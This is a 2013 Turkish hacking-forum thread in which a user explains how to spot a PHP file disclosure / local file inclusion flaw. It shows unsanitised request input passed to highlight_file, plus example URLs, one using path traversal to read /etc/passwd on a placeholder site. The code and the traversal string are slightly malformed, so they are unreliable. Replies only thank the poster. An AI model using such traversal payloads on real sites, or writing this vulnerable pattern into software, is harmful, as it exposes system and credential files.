Konuyu Oyla:
  • Toplam: 0 Oy - Ortalama: 0
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Scriptte LFİ Tespiti
Asil_Mehmet
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 15
Yaşam Puanı: 58 / 366
Deneyim: 65 / 100
Rep Sayısı: 2
Mesaj Sayısı: 280
Üyelik Tarihi: 23.09.2013
     
Yorum: #1
Scriptte LFİ Tespiti
04.11.2013 00:02
Remote File Disclosure Vulnerability Tesbiti
S.a

Arkadaşlar Php'de "Remote File Disclosure" (Dosya Download,LFI) Açığını Tesbit etmek için

Dosyalarda Şuna Benzer Kodları Arıyoruz.

Kod:
$trlink = $_REQUEST['trlink];

highlight_file($trlink);
Gördüğünüz Gibi burada Trlink ve knock adında Kod Çalıştırmak için Veriable Tanımlanmış.
Eğer Satırın Daha öncesinde Bı Veriable Tanımlanmamışsa. Bundan Şu Şekilde Yararlanılabilir..

Kod:
http://site.com/dosya.php?trlink=Klasor/Dosya.php
Bu açık üzerinden Direkt Local File ınclusion AÇığıda kullanılabilir.
Şu Şekilde;

Kod:
http://site.com/dosya.php?trlink=../../....etc/passwd
Çalıştırdığımızda Komut başarılı bir şekilde Çalışacaktır.

Bir Teşekkür Yeter ;) Devamını getirmeye çalışacağım Smile
Alinti
#H4CK4L
*
avatar
#R00T
Durum: Çevrimdışı
Seviye Puanı: 42
Yaşam Puanı: 1,045 / 1,045
Deneyim: 81 / 100
Rep Sayısı: 1002
Mesaj Sayısı: 2958
Üyelik Tarihi: 04.05.2013
      
Yorum: #2
Cvp: Scriptte LFİ Tespiti
04.11.2013 00:39
Eline sağlık ;)

Dört yanım ihanet, dört yanım yalan. Geçmemiş bu kış, gelmemiş bahar. Şu koca binaları üstüme yıkan gülümser önümde yüzlerce zaaf, umut her şeyden muaf. Dönmedim geri, çıkmıyor üstümden geçmişin kiri..
Alinti
HackLoJeN
*
avatar
Onursal Üye
Durum: Çevrimdışı
Seviye Puanı: 19
Yaşam Puanı: 122 / 471
Deneyim: 85 / 100
Rep Sayısı: 238
Mesaj Sayısı: 459
Üyelik Tarihi: 12.10.2013
      
Yorum: #3
Cvp: Scriptte LFİ Tespiti
04.11.2013 00:59
Güzel olmuş reis eline sağlık Smile

Arşivim Ve Yazılımlarımın Bağlı Olduğu sunucum kapalı olduğundan Bütün Programlarım Kapalıdır Ve Herhangi Bir Güncelleme Gelmicektir.Teşekkür Ederim.
Alinti
Asil_Mehmet
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 15
Yaşam Puanı: 58 / 366
Deneyim: 65 / 100
Rep Sayısı:
Mesaj Sayısı: 280
Üyelik Tarihi: 23.09.2013
     
Yorum: #4
Cvp: Scriptte LFİ Tespiti
05.11.2013 23:19
Teşekkür ederim Smile
Alinti



1 Ziyaretçi